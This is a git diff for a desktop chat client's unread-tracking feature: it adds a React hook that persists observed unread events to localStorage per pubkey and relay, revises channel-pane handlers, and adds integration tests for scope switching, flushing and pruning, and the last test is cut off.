diff --git a/desktop/src/features/channels/useChannelPaneHandlers.ts b/desktop/src/features/channels/useChannelPaneHandlers.ts
index 53170257a4..7e78d9601f 100644
--- a/desktop/src/features/channels/useChannelPaneHandlers.ts
+++ b/desktop/src/features/channels/useChannelPaneHandlers.ts
@@ -7,6 +7,7 @@ import type {
   useToggleReactionMutation,
 } from "@/features/messages/hooks";
 import { resolveThreadReplyTarget } from "@/features/messages/hooks";
+import type { TimelineMessage } from "@/features/messages/types";
 
 /**
  * Stable callback references for ChannelPane so that keystroke-driven
@@ -24,6 +25,7 @@ export function useChannelPaneHandlers({
   getFirstReplyIdForMessage,
   getReplyDescendantIdsForMessage,
   markRevealedRepliesRead,
+  recordThreadInteraction,
   onOptimisticOpenThreadHeadIdChange,
   onRequestEmptyEditDelete,
   openThreadHeadId,
@@ -43,6 +45,7 @@ export function useChannelPaneHandlers({
   getFirstReplyIdForMessage: (messageId: string) => string | null;
   getReplyDescendantIdsForMessage: (messageId: string) => string[];
   markRevealedRepliesRead: (messageId: string) => void;
+  recordThreadInteraction: (rootId: string) => void;
   onOptimisticOpenThreadHeadIdChange: React.Dispatch<
     React.SetStateAction<string | null | undefined>
   >;
@@ -76,9 +79,6 @@ export function useChannelPaneHandlers({
   const deleteMutateRef = React.useRef(deleteMessageMutation.mutateAsync);
   deleteMutateRef.current = deleteMessageMutation.mutateAsync;
 
-  const editMutateRef = React.useRef(editMessageMutation.mutateAsync);
-  editMutateRef.current = editMessageMutation.mutateAsync;
-
   const toggleMutateRef = React.useRef(toggleReactionMutation.mutateAsync);
   toggleMutateRef.current = toggleReactionMutation.mutateAsync;
 
@@ -150,8 +150,9 @@ export function useChannelPaneHandlers({
       content: string,
       mediaTags?: string[][],
       mentionPubkeys?: string[],
+      capturedEventId?: string,
     ) => {
-      const eventId = editTargetIdRef.current;
+      const eventId = capturedEventId ?? editTargetIdRef.current;
       if (!eventId) {
         return;
       }
@@ -172,15 +173,19 @@ export function useChannelPaneHandlers({
         return;
       }
 
-      await editMutateRef.current({
+      await editMessageMutation.mutateAsync({
         eventId,
         content,
         mediaTags,
         mentionPubkeys,
       });
-      setEditTargetId(null);
+      setEditTargetId((current) => (current === eventId ? null : current));
     },
-    [onRequestEmptyEditDelete, setEditTargetId],
+    [
+      editMessageMutation.mutateAsync,
+      onRequestEmptyEditDelete,
+      setEditTargetId,
+    ],
   );
 
   const handleOpenThread = React.useCallback(
@@ -344,14 +349,21 @@ export function useChannelPaneHandlers({
   );
 
   const handleToggleReaction = React.useCallback(
-    async (message: { id: string }, emoji: string, remove: boolean) => {
+    async (
+      message: Pick<TimelineMessage, "id" | "rootId">,
+      emoji: string,
+      remove: boolean,
+    ) => {
       await toggleMutateRef.current({
         emoji,
         eventId: message.id,
         remove,
       });
+      if (!remove) {
+        recordThreadInteraction(message.rootId ?? message.id);
+      }
     },
-    [],
+    [recordThreadInteraction],
   );
 
   return {
diff --git a/desktop/src/features/channels/useObservedUnreadPersistence.test.mjs b/desktop/src/features/channels/useObservedUnreadPersistence.test.mjs
new file mode 100644
index 0000000000..a9d422a4cf
--- /dev/null
+++ b/desktop/src/features/channels/useObservedUnreadPersistence.test.mjs
@@ -0,0 +1,513 @@
+/**
+ * Integration tests for useObservedUnreadPersistence.
+ *
+ * These tests mount the REAL production hook via createRoot + act to exercise
+ * the actual lifecycle: pagehide flush, unmount cleanup, scope fence, timer
+ * ownership, and marker prune wiring. Storage-primitive behavior is covered
+ * separately in observedUnreadStorage.test.mjs.
+ */
+
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  installDOMShim,
+  installFreshStorage,
+  makeObservedEvent,
+  mountHook,
+} from "./observedUnreadTestHarness.mjs";
+
+// DOM shim must be installed before React is imported (happens inside mountHook
+// on first call; the harness imports React at module parse time, so shim first).
+installDOMShim();
+// Install a module-level localStorage so React's scheduler doesn't choke.
+installFreshStorage();
+
+import {
+  readObservedUnreadFromStorage,
+  writeObservedUnreadToStorage,
+} from "./observedUnreadStorage.ts";
+import { act } from "react";
+
+// ── Helpers ───────────────────────────────────────────────────────────────────
+
+const PUBKEY = "aabbcc";
+const RELAY = "wss://relay.example.com";
+// Use a recent timestamp so age-pruning doesn't discard events before writing.
+const NOW_S = Math.floor(Date.now() / 1_000);
+
+const DEFAULT_PROPS = {
+  pubkey: PUBKEY,
+  relay: RELAY,
+  isReady: true,
+  readStateVersion: 0,
+  getTs: () => null,
+  getOwn: () => null,
+};
+
+function makeRefs() {
+  const eventsRef = { current: new Map() };
+  const latestRef = { current: new Map() };
+  const inner = new Map();
+  inner.set("evt-1", makeObservedEvent({ id: "evt-1", createdAt: NOW_S }));
+  eventsRef.current.set("channel-1", inner);
+  latestRef.current.set("channel-1", NOW_S);
+  return { eventsRef, latestRef };
+}
+
+async function mountDefaultHook(refs, overrides = {}) {
+  return mountHook({ ...DEFAULT_PROPS, ...overrides }, refs);
+}
+
+// ── Tests ─────────────────────────────────────────────────────────────────────
+
+test("pagehide flush: event recorded within debounce window survives reload", async () => {
+  installFreshStorage();
+  const refs = makeRefs();
+  const harness = await mountDefaultHook(refs);
+
+  // Add a new event after mount (simulates a live message arriving mid-debounce).
+  const newInner = new Map(refs.eventsRef.current.get("channel-2") ?? []);
+  newInner.set(
+    "evt-new",
+    makeObservedEvent({ id: "evt-new", createdAt: NOW_S + 1 }),
+  );
+  refs.eventsRef.current.set("channel-2", newInner);
+  refs.latestRef.current.set("channel-2", NOW_S + 1);
+
+  harness.api.schedule(harness.api.currentScope);
+
+  await act(async () => {
+    globalThis.dispatchEvent({ type: "pagehide" });
+  });
+
+  const stored = readObservedUnreadFromStorage(PUBKEY, RELAY);
+  assert.ok(stored !== null, "storage should not be null after pagehide flush");
+  assert.ok(stored.has("channel-2"), "channel-2 must be in persisted storage");
+  assert.ok(
+    stored.get("channel-2")?.has("evt-new"),
+    "evt-new must be in channel-2's persisted events",
+  );
+
+  await harness.unmount();
+});
+
+test("unmount with pending write flushes before teardown", async () => {
+  installFreshStorage();
+  const refs = makeRefs();
+  const harness = await mountDefaultHook(refs);
+
+  const inner = new Map();
+  inner.set(
+    "evt-unmount",
+    makeObservedEvent({ id: "evt-unmount", createdAt: NOW_S + 2 }),
+  );
+  refs.eventsRef.current.set("ch-u", inner);
+  harness.api.schedule(harness.api.currentScope);
+
+  await harness.unmount();
+
+  const stored = readObservedUnreadFromStorage(PUBKEY, RELAY);
+  assert.ok(stored !== null, "storage must not be null after unmount flush");
+  assert.ok(stored.has("ch-u"), "ch-u must be persisted after unmount");
+});
+
+test("clearAll cancels pending debounce so no resurrection after reload", async () => {
+  installFreshStorage();
+  const refs = makeRefs();
+  const harness = await mountDefaultHook(refs);
+
+  harness.api.schedule(harness.api.currentScope);
+  harness.api.clearAll();
+
+  // Simulate parent reassigning refs after markAllChannelsRead.
+  refs.eventsRef.current = new Map();
+  refs.latestRef.current = new Map();
+
+  await act(async () => {
+    globalThis.dispatchEvent({ type: "pagehide" });
+  });
+
+  assert.equal(
+    readObservedUnreadFromStorage(PUBKEY, RELAY),
+    null,
+    "storage must be null after clearAll + empty flush",
+  );
+
+  await harness.unmount();
+});
+
+test("removeChannel replaces pending snapshot so sibling channel B survives reload", async () => {
+  installFreshStorage();
+
+  // Seed both channels so hydration loads them; removeChannel(ch1) mid-debounce
+  // must replace the snapshot so ch2 survives the next pagehide flush.
+  const seedMap = new Map();
+  const ch1 = new Map();
+  ch1.set("evt-1", makeObservedEvent({ id: "evt-1", createdAt: NOW_S }));
+  seedMap.set("channel-1", ch1);
+  const ch2 = new Map();
+  ch2.set("evt-2", makeObservedEvent({ id: "evt-2", createdAt: NOW_S + 1 }));
+  seedMap.set("channel-2", ch2);
+  writeObservedUnreadToStorage(PUBKEY, RELAY, seedMap);
+
+  const refs = {
+    eventsRef: { current: new Map() },
+    latestRef: { current: new Map() },
+  };
+  const harness = await mountDefaultHook(refs);
+
+  assert.ok(
+    refs.eventsRef.current.has("channel-1"),
+    "hydration must restore channel-1",
+  );
+  assert.ok(
+    refs.eventsRef.current.has("channel-2"),
+    "hydration must restore channel-2",
+  );
+
+  harness.api.schedule(harness.api.currentScope);
+  harness.api.removeChannel("channel-1");
+
+  assert.ok(
+    !refs.eventsRef.current.has("channel-1"),
+    "channel-1 removed from refs",
+  );
+  assert.ok(
+    refs.eventsRef.current.has("channel-2"),
+    "channel-2 still in refs after removeChannel",
+  );
+
+  await act(async () => {
+    globalThis.dispatchEvent({ type: "pagehide" });
+  });
+
+  const stored = readObservedUnreadFromStorage(PUBKEY, RELAY);
+  assert.ok(
+    stored !== null,
+    "storage must not be null — channel-2 events survive",
+  );
+  assert.ok(
+    !stored.has("channel-1"),
+    "channel-1 must not appear after removeChannel",
+  );
+  assert.ok(
+    stored.has("channel-2"),
+    "channel-2 must survive removeChannel(channel-1)",
+  );
+
+  await harness.unmount();
+});
+
+test("marker prune: thread and channel markers prune covered events; sibling channels survive", async () => {
+  installFreshStorage();
+
+  const eventsRef = { current: new Map() };
+  const latestRef = { current: new Map() };
+  // channel-1: evt-a covered by thread:root-a marker; evt-b NOT covered (newer).
+  // channel-a: two events covered by channel marker at NOW_S-5.
+  // channel-b: event at NOW_S+10 (survives).
+  const evtA = makeObservedEvent({
+    id: "evt-a",
+    createdAt: NOW_S - 10,
+    rootId: "root-a",
+  });
+  const evtB = makeObservedEvent({
+    id: "evt-b",
+    createdAt: NOW_S + 10,
+    rootId: "root-b",
+  });
+  const evtOld = makeObservedEvent({
+    id: "evt-old",
+    createdAt: NOW_S - 20,
+    rootId: "root-old",
+  });
+  const evtMid = makeObservedEvent({
+    id: "evt-mid",
+    createdAt: NOW_S - 10,
+    rootId: "root-mid",
+  });
+  const evtSurvivor = makeObservedEvent({
+    id: "evt-survivor",
+    createdAt: NOW_S + 10,
+    rootId: "root-sv",
+  });
+
+  const stored = new Map();
+  const ch1 = new Map();
+  ch1.set("evt-a", evtA);
+  ch1.set("evt-b", evtB);
+  stored.set("channel-1", ch1);
+  const chA = new Map();
+  chA.set("evt-old", evtOld);
+  chA.set("evt-mid", evtMid);
+  stored.set("channel-a", chA);
+  const chB = new Map();
+  chB.set("evt-survivor", evtSurvivor);
+  stored.set("channel-b", chB);
+  writeObservedUnreadToStorage(PUBKEY, RELAY, stored);
+
+  let pruneCount = 0;
+  const harness = await mountDefaultHook(
+    { eventsRef, latestRef },
+    { isReady: false },
+  );
+
+  await harness.render({
+    pubkey: PUBKEY,
+    relay: RELAY,
+    isReady: true,
+    readStateVersion: 1,
+    getTs: (channelId) => (channelId === "channel-a" ? NOW_S - 5 : null),
+    getOwn: (ctx) => (ctx === "thread:root-a" ? NOW_S - 5 : null),
+    onPruned: () => {
+      pruneCount += 1;
+    },
+  });
+
+  // Thread marker: evt-a pruned from channel-1; evt-b survives.
+  assert.ok(
+    !eventsRef.current.get("channel-1")?.has("evt-a"),
+    "evt-a must be pruned by thread marker",
+  );
+  assert.ok(
+    eventsRef.current.get("channel-1")?.has("evt-b"),
+    "evt-b must survive (newer than marker)",
+  );
+  // Channel marker: channel-a fully cleared.
+  assert.ok(
+    !eventsRef.current.has("channel-a"),
+    "channel-a must be fully pruned by channel marker",
+  );
+  // Sibling: channel-b unaffected.
+  assert.ok(eventsRef.current.has("channel-b"), "channel-b must survive");
+  assert.equal(pruneCount, 1, "onPruned must fire exactly once");
+
+  await harness.unmount();
+});
+
+test("isScopeLoaded returns false before identity-reset effect commits, true after", async () => {
+  installFreshStorage();
+  const refs = makeRefs();
+  const harness = await mountDefaultHook(refs, { isReady: false });
+  assert.ok(
+    harness.api.isScopeLoaded(),
+    "isScopeLoaded must be true after mount+effects",
+  );
+
+  const PUBKEY_B = "pubkey-b-scope-test";
+  await harness.render({
+    pubkey: PUBKEY_B,
+    relay: RELAY,
+    isReady: false,
+    readStateVersion: 0,
+    getTs: () => null,
+    getOwn: () => null,
+  });
+  assert.ok(
+    harness.api.isScopeLoaded(),
+    "isScopeLoaded must be true after scope switch + effects committed",
+  );
+  assert.ok(
+    harness.api.currentScope.includes(PUBKEY_B.toLowerCase()),
+    "currentScope must reflect the new pubkey",
+  );
+  assert.equal(
+    harness.api.scopeLoadedRef.current,
+    harness.api.currentScope,
+    "scopeLoadedRef must equal currentScope after effects commit",
+  );
+
+  await harness.unmount();
+});
+
+test("A→B scope switch: pending A-timer is cancelled by flush, A data persisted synchronously", async () => {
+  installFreshStorage();
+
+  const PUBKEY_AT = "pubkey-a-t";
+  const RELAY_AT = "wss://relay-a-t.example.com";
+  const PUBKEY_BT = "pubkey-b-t";
+  const RELAY_BT = "wss://relay-b-t.example.com";
+
+  writeObservedUnreadToStorage(
+    PUBKEY_AT,
+    RELAY_AT,
+    new Map([
+      [
+        "ch-at",
+        new Map([
+          ["evt-at", makeObservedEvent({ id: "evt-at", createdAt: NOW_S })],
+        ]),
+      ],
+    ]),
+  );
+
+  const refsAT = {
+    eventsRef: { current: new Map() },
+    latestRef: { current: new Map() },
+  };
+  const propsAT = {
+    pubkey: PUBKEY_AT,
+    relay: RELAY_AT,
+    isReady: true,
+    readStateVersion: 0,
+    getTs: () => null,
+    getOwn: () => null,
+  };
+
+  const harness = await mountHook(propsAT, refsAT);
+  assert.ok(
+    refsAT.eventsRef.current.has("ch-at"),
+    "hydration must restore ch-at from storage",
+  );
+
+  harness.api.schedule(harness.api.currentScope);
+
+  // Switch to B: flushes A synchronously, resets refs, loads B.
+  await harness.render({ ...propsAT, pubkey: PUBKEY_BT, relay: RELAY_BT });
+
+  assert.ok(
+    readObservedUnreadFromStorage(PUBKEY_AT, RELAY_AT)?.has("ch-at"),
+    "A must be flushed synchronously on scope switch",
+  );
+  assert.ok(
+    readObservedUnreadFromStorage(PUBKEY_BT, RELAY_BT) == null ||
+      !readObservedUnreadFromStorage(PUBKEY_BT, RELAY_BT)?.has("ch-at"),
+    "B's bucket must not contain A's channel",
+  );
+
+  // B schedules and flushes independently.
+  const chBT = new Map();
+  chBT.set(
+    "evt-bt",
+    makeObservedEvent({ id: "evt-bt", createdAt: NOW_S + 300 }),
+  );
+  refsAT.eventsRef.current.set("ch-bt", chBT);
+  refsAT.latestRef.current.set("ch-bt", NOW_S + 300);
+  harness.api.schedule(harness.api.currentScope);
+
+  await act(async () => {
+    globalThis.dispatchEvent({ type: "pagehide" });
+  });
+
+  assert.ok(
+    readObservedUnreadFromStorage(PUBKEY_BT, RELAY_BT)?.has("ch-bt"),
+    "B's scheduled write must persist independently",
+  );
+
+  await harness.unmount();
+});
+
+test("stale scope-A operations (clearAll + removeChannel) both reject after scope B loads (scope fence enforced)", async () => {
+  // Single test covering both fenced operations; each assertion names the
+  // operation so a failure pinpoints which one broke.
+  installFreshStorage();
+
+  const seedA = new Map([
+    [
+      "channel-seed",
+      new Map([
+        [
+          "evt-seed-a",
+          makeObservedEvent({ id: "evt-seed-a", createdAt: NOW_S }),
+        ],
+      ]),
+    ],
+  ]);
+  writeObservedUnreadToStorage(PUBKEY, RELAY, seedA);
+
+  const refsA = {
+    eventsRef: { current: new Map() },
+    latestRef: { current: new Map() },
+  };
+  const propsA = {
+    pubkey: PUBKEY,
+    relay: RELAY,
+    isReady: true,
+    readStateVersion: 0,
+    getTs: () => null,
+    getOwn: () => null,
+  };
+  const harness = await mountHook(propsA, refsA);
+
+  harness.api.schedule(harness.api.currentScope);
+  const staleClearAll = harness.api.clearAll;
+  const staleRemoveChannel = harness.api.removeChannel;
+
+  const PUBKEY_B = "pubkey-b-fence";
+  const RELAY_B = "wss://relay-b-fence.example.com";
+  writeObservedUnreadToStorage(
+    PUBKEY_B,
+    RELAY_B,
+    new Map([
+      [
+        "channel-b",
+        new Map([
+          [
+            "evt-seed-b",
+            makeObservedEvent({ id: "evt-seed-b", createdAt: NOW_S }),
+          ],
+        ]),
+      ],
+    ]),
+  );
+  await harness.render({ ...propsA, pubkey: PUBKEY_B, relay: RELAY_B });
+
+  const storedA_before = readObservedUnreadFromStorage(PUBKEY, RELAY);
+  assert.ok(storedA_before !== null, "A's bucket must survive scope switch");
+
+  const storedB_before = readObservedUnreadFromStorage(PUBKEY_B, RELAY_B);
+  assert.ok(
+    storedB_before !== null,
+    "B's bucket must be in storage after scope switch",
+  );
+
+  // stale clearAll must not delete A's bucket.
+  staleClearAll();
+  assert.deepEqual(
+    readObservedUnreadFromStorage(PUBKEY, RELAY),
+    storedA_before,
+    "stale clearAll from scope A must not delete A's bucket after scope B loads",
+  );
+
+  // stale removeChannel must not modify B's bucket.
+  staleRemoveChannel("channel-b");
+  assert.deepEqual(
+    readObservedUnreadFromStorage(PUBKEY_B, RELAY_B),
+    storedB_before,
+    "stale removeChannel from scope A must not delete channel-b from B's bucket",
+  );
+
+  await harness.unmount();
+});
+
+test("unrelated rerenders do not change API object identity (catch-up stability)", async () => {
+  installFreshStorage();
+  const refs = makeRefs();
+  const harness = await mountDefaultHook(refs);
+  const api1 = harness.api;
+
+  // readStateVersion changes on every read-state advance but must NOT change the API object.
+  await harness.render({ ...DEFAULT_PROPS, readStateVersion: 1 });
+
+  const api2 = harness.api;
+  assert.equal(
+    api1,
+    api2,
+    "API object must be the same reference on unrelated rerender",
+  );
+  assert.equal(api1.schedule, api2.schedule, "schedule must be stable");
+  assert.equal(
+    api1.removeChannel,
+    api2.removeChannel,
+    "removeChannel must be stable",
+  );
+  assert.equal(api1.clearAll, api2.clearAll, "clearAll must be stable");
+  assert.equal(
+    api1.isScopeLoaded,
+    api2.isScopeLoaded,
+    "isScopeLoaded must be stable",
+  );
+
+  await harness.unmount();
+});
diff --git a/desktop/src/features/channels/useObservedUnreadPersistence.ts b/desktop/src/features/channels/useObservedUnreadPersistence.ts
new file mode 100644
index 0000000000..c1a94570b4
--- /dev/null
+++ b/desktop/src/features/channels/useObservedUnreadPersistence.ts
@@ -0,0 +1,209 @@
+import * as React from "react";
+import {
+  flushObservedUnreadWrite,
+  pruneObservedUnreadByMarkers,
+  readObservedUnreadFromStorage,
+  scheduleObservedUnreadWrite,
+  deriveLatestByChannel,
+  clearObservedUnreadStorage,
+  type ObservedUnreadRefs,
+} from "@/features/channels/observedUnreadStorage";
+import { activityScopeKey } from "@/features/channels/threadActivityStorage";
+import type { ObservedUnreadEvent } from "@/features/channels/unreadChannelCounts";
+
+export type ObservedUnreadPersistence = {
+  /** Scope key loaded into the refs ("" until identity is known). */
+  scopeLoadedRef: React.MutableRefObject<string>;
+  /** Current scope derived from normalized pubkey + relay. */
+  currentScope: string;
+  /**
+   * Returns true when the identity-reset effect has committed and the observed
+   * refs hold data for the current scope. Always reads the ref at call time.
+   * Use as a scope guard before projecting or mutating the observed refs.
+   */
+  isScopeLoaded: () => boolean;
+  /**
+   * Call after recording a new observed event to schedule a debounced write.
+   * @param scope - the currentScope value captured this render
+   */
+  schedule: (scope: string) => void;
+  /** Remove a single channel from the persisted cache (clearObserved path). */
+  removeChannel: (channelId: string) => void;
+  /** Clear the entire persisted cache (mark-all-read path). */
+  clearAll: () => void;
+};
+
+/**
+ * Additional options for useObservedUnreadPersistence.
+ */
+export type UseObservedUnreadPersistenceOptions = {
+  /**
+   * Called when a marker-prune pass removes at least one event from the
+   * in-memory refs. The hook itself cannot bump the parent's version counter;
+   * pass a stable callback (e.g. useEvent-wrapped bumpLatestVersion) here so
+   * the UI re-renders when stale observed events are swept out.
+   */
+  onPruned?: () => void;
+};
+
+/**
+ * Hook that manages the observed-unread localStorage persistence layer for
+ * useUnreadChannels. Owns the scope ref, debounce timer, pagehide flush, and
+ * marker-prune effect.
+ *
+ * Returns a stable API object; callers read `scopeLoadedRef` and `currentScope`
+ * to guard writes, and call `schedule`/`removeChannel`/`clearAll` on mutations.
+ */
+export function useObservedUnreadPersistence(
+  normalizedPubkey: string | null,
+  normalizedRelayUrl: string,
+  isReadStateReady: boolean,
+  readStateVersion: number,
+  getEffectiveTimestamp: (channelId: string) => number | null,
+  getOwnTimestamp: (contextId: string) => number | null,
+  observedUnreadEventsByChannelRef: React.MutableRefObject<
+    Map<string, Map<string, ObservedUnreadEvent>>
+  >,
+  latestByChannelRef: React.MutableRefObject<Map<string, number>>,
+  options: UseObservedUnreadPersistenceOptions = {},
+): ObservedUnreadPersistence {
+  const currentScope = activityScopeKey(normalizedPubkey, normalizedRelayUrl);
+
+  const { onPruned } = options;
+
+  const scopeLoadedRef = React.useRef<string>("");
+  const timerRef = React.useRef<ReturnType<typeof setTimeout> | null>(null);
+
+  const persistRefs = React.useRef<ObservedUnreadRefs>({
+    eventsRef: observedUnreadEventsByChannelRef,
+    scopeLoadedRef,
+    timerRef,
+  });
+  persistRefs.current.eventsRef = observedUnreadEventsByChannelRef;
+
+  // pagehide: synchronously flush any pending debounce before the webview
+  // unloads. Cmd+R reloads within 500ms of teardown; without this flush the
+  // last observed event would be lost within the debounce window.
+  React.useEffect(() => {
+    const refs = persistRefs.current;
+    const onPageHide = () => flushObservedUnreadWrite(refs);
+    window.addEventListener("pagehide", onPageHide);
+    return () => window.removeEventListener("pagehide", onPageHide);
+  }, []);
+
+  // Hydrate refs from storage whenever identity/relay changes. Flush the OLD
+  // scope first so no event is lost before we clobber the refs.
+  // biome-ignore lint/correctness/useExhaustiveDependencies: normalizedRelayUrl is intentional reset signal alongside normalizedPubkey
+  React.useEffect(() => {
+    flushObservedUnreadWrite(persistRefs.current);
+
+    observedUnreadEventsByChannelRef.current = new Map();
+    latestByChannelRef.current = new Map();
+
+    if (normalizedPubkey && normalizedRelayUrl) {
+      const stored = readObservedUnreadFromStorage(
+        normalizedPubkey,
+        normalizedRelayUrl,
+      );
+      if (stored && stored.size > 0) {
+        observedUnreadEventsByChannelRef.current = stored;
+        latestByChannelRef.current = deriveLatestByChannel(stored);
+      }
+    }
+    scopeLoadedRef.current = activityScopeKey(
+      normalizedPubkey,
+      normalizedRelayUrl,
+    );
+
+    // On unmount (or before next effect run), flush the current scope so any
+    // in-flight debounce is persisted before refs are clobbered.
+    return () => {
+      flushObservedUnreadWrite(persistRefs.current);
+    };
+  }, [normalizedPubkey, normalizedRelayUrl]);
+
+  // Marker prune: whenever read state advances, drop events now covered by
+  // their channel/thread/msg marker, persist if anything changed.
+  // biome-ignore lint/correctness/useExhaustiveDependencies: readStateVersion + isReadStateReady are intentional prune triggers
+  React.useEffect(() => {
+    if (!isReadStateReady) return;
+    const scope = scopeLoadedRef.current;
+    if (!scope || scope !== currentScope) return;
+
+    const changed = pruneObservedUnreadByMarkers(
+      observedUnreadEventsByChannelRef.current,
+      latestByChannelRef.current,
+      getEffectiveTimestamp,
+      getOwnTimestamp,
+    );
+    if (changed) {
+      scheduleObservedUnreadWrite(scope, persistRefs.current);
+      onPruned?.();
+    }
+  }, [readStateVersion, isReadStateReady]);
+
+  const schedule = React.useCallback(
+    (scope: string) => scheduleObservedUnreadWrite(scope, persistRefs.current),
+    [],
+  );
+
+  const removeChannel = React.useCallback(
+    (channelId: string) => {
+      // Reject if the loaded scope has drifted — a stale callback during A→B
+      // transitions must not cancel B's pending snapshot or corrupt B's refs.
+      if (scopeLoadedRef.current !== currentScope) return;
+      // Delete from both in-memory refs so the projection no longer sees this
+      // channel. Then replace any pending snapshot with a new snapshot of the
+      // current full map — never cancel-without-replacement, which would lose
+      // unsaved sibling-channel events on the next reload.
+      observedUnreadEventsByChannelRef.current.delete(channelId);
+      latestByChannelRef.current.delete(channelId);
+      scheduleObservedUnreadWrite(currentScope, persistRefs.current);
+    },
+    [currentScope, observedUnreadEventsByChannelRef, latestByChannelRef],
+  );
+
+  const clearAll = React.useCallback(() => {
+    // Reject if the loaded scope has drifted — a stale callback must not
+    // cancel the new scope's pending snapshot or clear the wrong bucket.
+    if (scopeLoadedRef.current !== currentScope) return;
+    // Cancel any pending snapshot and clear both in-memory refs before touching
+    // storage — the parent no longer resets the refs directly, so this is the
+    // single transactional clear path for mark-all-read.
+    if (timerRef.current !== null) {
+      clearTimeout(timerRef.current);
+      timerRef.current = null;
+    }
+    observedUnreadEventsByChannelRef.current = new Map();
+    latestByChannelRef.current = new Map();
+    clearObservedUnreadStorage(normalizedPubkey ?? "", normalizedRelayUrl);
+  }, [
+    currentScope,
+    normalizedPubkey,
+    normalizedRelayUrl,
+    observedUnreadEventsByChannelRef,
+    latestByChannelRef,
+  ]);
+
+  // isScopeLoaded reads the ref at call time — always fresh, never a stale
+  // snapshot from a closed-over useMemo value.
+  const isScopeLoaded = React.useCallback(
+    () => scopeLoadedRef.current === currentScope,
+    [currentScope],
+  );
+
+  // Stable API object: only reconstructed when scope or stable callbacks change.
+  // This prevents useCallback deps in the parent from seeing a new object each
+  // render, which would restart catch-up REQs on every unrelated re-render.
+  return React.useMemo(
+    () => ({
+      scopeLoadedRef,
+      currentScope,
+      isScopeLoaded,
+      schedule,
+      removeChannel,
+      clearAll,
+    }),
+    [currentScope, isScopeLoaded, schedule, removeChannel, clearAll],
+  );
+}
diff --git a/desktop/src/features/channels/useUnreadChannels.test.mjs b/desktop/src/features/channels/useUnreadChannels.test.mjs
new file mode 100644
index 0000000000..6624544c9a
--- /dev/null
+++ b/desktop/src/features/channels/useUnreadChannels.test.mjs
@@ -0,0 +1,175 @@
+/**
+ * Boundary tests for useUnreadChannels — exercises the real parent-to-owner
+ * boundary between useUnreadChannels and useObservedUnreadPersistence.
+ *
+ * These tests mount the FULL production hook (via createRoot + act) to verify
+ * that markChannelRead and markAllChannelsRead are scope-safe: a stale callback
+ * captured under scope A cannot corrupt scope B's refs or storage after a
+ * scope switch. Coverage for both happy paths (current scope mutates correctly)
+ * and stale paths (scope-A callback rejects after B loads) is included.
+ */
+
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  installDOMShim,
+  installFreshStorage,
+  seedStorage,
+  mountUnreadChannels,
+} from "./observedUnreadTestHarness.mjs";
+
+// DOM shim must run before any React import (harness imports React at parse time).
+installDOMShim();
+installFreshStorage();
+
+import { readObservedUnreadFromStorage } from "./observedUnreadStorage.ts";
+import { act } from "react";
+
+// ── Helpers ───────────────────────────────────────────────────────────────────
+
+const RELAY = "wss://relay.example.com";
+
+// ── Tests ─────────────────────────────────────────────────────────────────────
+
+test("markChannelRead happy path: current scope removes channel from observed refs and persists snapshot", async () => {
+  installFreshStorage();
+
+  const PUBKEY = "pubkey-happy-mcr";
+  const readAt = seedStorage(PUBKEY, RELAY, "channel-1");
+
+  const harness = await mountUnreadChannels({ pubkey: PUBKEY });
+
+  // markChannelRead with readAt >= observed latest triggers clearObserved,
+  // which delegates to observedPersistence.removeChannel. act() needed because
+  // markChannelRead calls bumpLatestVersion (useReducer).
+  await act(async () => {
+    harness.markChannelRead("channel-1", readAt);
+  });
+  harness.flushStorage();
+
+  const stored = readObservedUnreadFromStorage(PUBKEY, RELAY);
+  assert.ok(
+    stored === null || !stored.has("channel-1"),
+    "channel-1 must be absent from storage after markChannelRead under current scope",
+  );
+
+  await harness.unmount();
+});
+
+test("markChannelRead happy path: topLevelOnly=true leaves observed refs intact (no clearObserved)", async () => {
+  installFreshStorage();
+
+  const PUBKEY = "pubkey-happy-mcr-tlo";
+  const readAt = seedStorage(PUBKEY, RELAY, "channel-tlo");
+
+  const harness = await mountUnreadChannels({ pubkey: PUBKEY });
+
+  // topLevelOnly=true passes observedLatest as undefined, so clearObserved stays false.
+  await act(async () => {
+    harness.markChannelRead("channel-tlo", readAt, { topLevelOnly: true });
+  });
+  harness.flushStorage();
+
+  const stored = readObservedUnreadFromStorage(PUBKEY, RELAY);
+  assert.ok(
+    stored?.has("channel-tlo"),
+    "channel-tlo must remain in storage when topLevelOnly=true",
+  );
+
+  await harness.unmount();
+});
+
+test("markChannelRead stale: scope-A callback rejects after scope B loads — B storage survives flush", async () => {
+  installFreshStorage();
+
+  const PUBKEY_A = "pubkey-a-mcr";
+  const PUBKEY_B = "pubkey-b-mcr";
+  // Shared channel ensures stale A callback targets a channel present in B's hydrated refs.
+  const SHARED_CHANNEL = "channel-shared";
+
+  const readAtA = seedStorage(PUBKEY_A, RELAY, SHARED_CHANNEL, "evt-a");
+  seedStorage(PUBKEY_B, RELAY, SHARED_CHANNEL, "evt-b");
+
+  const harness = await mountUnreadChannels({ pubkey: PUBKEY_A });
+  const staleMarkChannelRead = harness.markChannelRead;
+
+  // Switch to B; hydration flushes A and loads B's storage.
+  await harness.render(PUBKEY_B);
+
+  assert.ok(
+    readObservedUnreadFromStorage(PUBKEY_B, RELAY)?.has(SHARED_CHANNEL),
+    "B's channel-shared must be present before the stale call",
+  );
+
+  // Stale A call must be rejected by the scope fence; B's refs stay intact.
+  await act(async () => {
+    staleMarkChannelRead(SHARED_CHANNEL, readAtA);
+  });
+  harness.flushStorage();
+
+  const storedBAfter = readObservedUnreadFromStorage(PUBKEY_B, RELAY);
+  assert.ok(
+    storedBAfter?.has(SHARED_CHANNEL),
+    "B's channel-shared must survive the post-stale-call flush (stale scope-A markChannelRead must not corrupt B's refs)",
+  );
+
+  await harness.unmount();
+});
+
+test("markAllChannelsRead happy path: current scope clears all observed refs and clears storage bucket", async () => {
+  installFreshStorage();
+
+  const PUBKEY = "pubkey-happy-mar";
+  seedStorage(PUBKEY, RELAY, "channel-1");
+
+  const harness = await mountUnreadChannels({ pubkey: PUBKEY });
+
+  // clearAll cancels any pending write and removes the storage bucket.
+  await act(async () => {
+    harness.markAllChannelsRead();
+  });
+
+  const stored = readObservedUnreadFromStorage(PUBKEY, RELAY);
+  assert.ok(
+    stored === null || stored.size === 0,
+    "storage bucket must be empty after markAllChannelsRead under current scope",
+  );
+
+  await harness.unmount();
+});
+
+test("markAllChannelsRead stale: scope-A callback rejects after scope B loads — B storage survives flush", async () => {
+  installFreshStorage();
+
+  const PUBKEY_A = "pubkey-a-mar";
+  const PUBKEY_B = "pubkey-b-mar";
+
